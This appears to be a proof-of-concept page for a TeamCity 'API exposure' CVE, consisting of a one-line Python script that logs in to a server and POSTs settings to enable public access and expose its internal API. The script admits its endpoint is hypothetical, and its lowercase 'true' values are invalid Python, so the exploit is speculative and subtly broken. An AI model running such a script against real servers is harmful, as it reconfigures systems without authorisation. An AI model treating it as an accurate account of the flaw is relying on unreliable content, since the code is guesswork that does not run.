CVE-2026-44413 JetBrains TeamCity API暴露漏洞

import requests # PoC for CVE-2026-44413 # Description: Demonstrates how an authenticated user might trigger API exposure. def exploit_teamcity(target_url, username, password): session = requests.Session() # Step 1: Authenticate to the TeamCity server login_url = f"{target_url}/app/rest/login" creds = {'username': username, 'password': password} auth_resp = session.post(login_url, data=creds) if auth_resp.status_code != 200: print(f"[-] Authentication failed. Status: {auth_resp.status_code}") return print("[+] Authentication successful.") # Step 2: Send payload to trigger API exposure # Note: Endpoint is hypothetical based on vulnerability description exploit_url = f"{target_url}/app/rest/server/settings" headers = {'Content-Type': 'application/json'} payload = { "publicAccessEnabled": true, "exposeInternalApi": true } print(f"[*] Sending exploit payload to {exploit_url}...") response = session.post(exploit_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Potential vulnerability triggered! Server API may be exposed.") else: print(f"[-] Exploit failed. Status: {response.status_code}") print(response.text) if __name__ == "__main__": target = "http://vulnerable-teamcity-server:8111" exploit_teamcity(target, "attacker", "password")